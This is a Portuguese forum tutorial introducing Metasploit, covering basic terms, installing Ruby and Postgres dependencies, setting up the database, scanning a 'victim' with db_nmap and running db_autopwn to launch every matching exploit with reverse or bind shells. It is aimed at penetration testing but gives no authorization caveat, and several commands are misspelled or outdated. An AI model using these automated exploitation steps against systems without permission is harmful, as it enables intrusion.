Metasploit a Introdução
Se você é ativo na comunidade de Penetration test / você já ouviu falar sobre metasploit, pois é a ferramenta mais famosa e utilizada pela maioria testador de penetração, bem como utilizado pelos hackers. Metasploit é um projeto open source de segurança (Computer), que contém as informações sobre as vulnerabilidades.
etasploit Framework é uma plataforma de desenvolvimento que lhe auxiliará na criação de ferramentas de segurança e exploits. O utilitário pode ser usado por profissionais de segurança de redes para testar possíveis ataques.
Com ferramentas avançadas, qualquer usuário pode testar a vulnerabilidade de suas plataformas, sistemas operacionais e servidores. Afinal de contas, aquele velho ditado também pode ser aplicado na informática: (Com segurança não se brinca!)
O metasploit é de interface GUI, como também console. Eu prefiro console, mas você pode utilizar a que melhor te agrade.
Antes de discutir como fazer todas as coisas, você precisa entender alguns termos básicos como, vulnerabilidade, exploit e payload. A vulnerabilidade é uma fraqueza ou um buraco pelo qual um invasor pode comprometer uma máquina. Exploit pode ser um pedaço de código é um ataque que tira proveito de uma vulnerabilidade. A payload é o pedaço de software que permite controlar um sistema de computador depois de ter sido explorado.
A Auto Exploração
A auto exploração do metasploit consiste em, o programa faz um scan na vitima e com base em portas abertas, seleciona os exploits e testa exploit por exploit. Sendo assim, depois de configurado o metasploit faria o papel de uma invasão com apenas uma linha de comando.
Vamos lá!
Projeto Metasploit fornece Metasploit Pro, Metasploit Express e Metasploit Framework. Framework Metasploit é uma fonte aberta e disponível gratuitamente para a plataforma do sistema operacional (Windows, Linux).
Como instalar Metaspolit :
Neste tutorial, vamos discutir como obter e instalar o Metasploit Framework para Windows e para Linux (como o Ubuntu), se você estiver usando recuar do que você pode encontrar Metasploit lá.
Faça download: Linux ou Windows:
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
abra seu rerminal e vamos lá:
$ sudo apt-get install ruby libruby rdoc
$ sudo apt-get install libyaml-ruby
$ sudo apt-get install libzlib-ruby
$ sudo apt-get install libopenssl-ruby
$ sudo apt-get install libdl-ruby
$ sudo apt-get install libreadline-ruby
$ sudo apt-get install libiconv-ruby
$ sudo apt-get install rubygems
$ sudo apt-get install libyaml-ruby
$ sudo apt-get install libzlib-ruby
$ sudo apt-get install libopenssl-ruby
$ sudo apt-get install libdl-ruby
$ sudo apt-get install libreadline-ruby
$ sudo apt-get install libiconv-ruby
$ sudo apt-get install rubygems
$ sudo su
agora localize o nome do arquivo e execute:
$ ./nome do arquivo .run
Se você quiser instalar o Metasploit no Windows:
Feito o download logo acima , vamos descompactar e utilizar.
Pequeno tutorial do Metasploit:
Com o Metasploit instalado, instalando Postgres
# yum install postgres
Após a instalação do postgres é nescessario ruby. Instale o ruby e rubygems
# yum install ruby rubygems
Com tudo certo, vamos agora instalar Active Record e Postgresql.
# gem install activerecord
# gem install postgresql.
Criando as tabelas necessárias para a auto exploração.
Se caso você se perguntou o por que de utilizar o postgres. Esta aqui a resposta, as informações do servidor, portas abertas e exploits utilizados são armazenadas em um banco de dados do postgres. Certificando que o serviço Postgres esta rodando em seu sistema, vamos criar as tabelas
# su – postgres
$ psql -d template1 -U postgres
Estamos dentro do console do postgres, aqui iremos criar nossas tabelas.
Welcome to psql 7.4.16, the PostgreSQL interactive terminal.
Type: \\copyright for distribution terms
\\h for help with SQL commands
\\? for help on internal slash commands
\\g or terminate with semicolon to execute query
\\q to quit
template1=#
template1=# CREATE USER root WITH PASSWORD ‘minha senha’;
template1=# CREATE DATABASE metasploit3;
template1=# GRANT ALL PRIVILEGES ON DATABASE metasploit3 to root;
template1=# \q
Criada nossa tabela, está tudo pronto para iniciar nossa auto exploração. Inicie o metasploit.
# cd framework-3.2
# ./msfconsole
Dentro do console Metasploit, digite os comandos
. load db_postgres
. db_create (obs: em casos alguns erros são apresentados, ignore.)
. db_hosts
. db_nmap “ip da vitima”
Após o programa fazer o scan, se tudo deu certinho. Esta feito, após o scan, execute o comando
db_autpwn -p -t –e
O Metasploit ira executar exploit por exploit.
Ahh não podia me esquecer. Aqui vai os argumentos para o comando db_autopwn
-h Display this help text
-t Show all matching exploit modules
-x Select modules based on vulnerability references
-p Select modules based on open ports
-e Launch exploits against all matched targets
-s Only obtain a single shell per target system (NON-FUNCTIONAL)
-r Use a reverse connect shell
-b Use a bind shell on a random port
-I [range] Only exploit hosts inside this range
-X [range] Always exclude hosts inside this range
Abraço a todos! EruZ
Fonte: Ehacking
Wiki.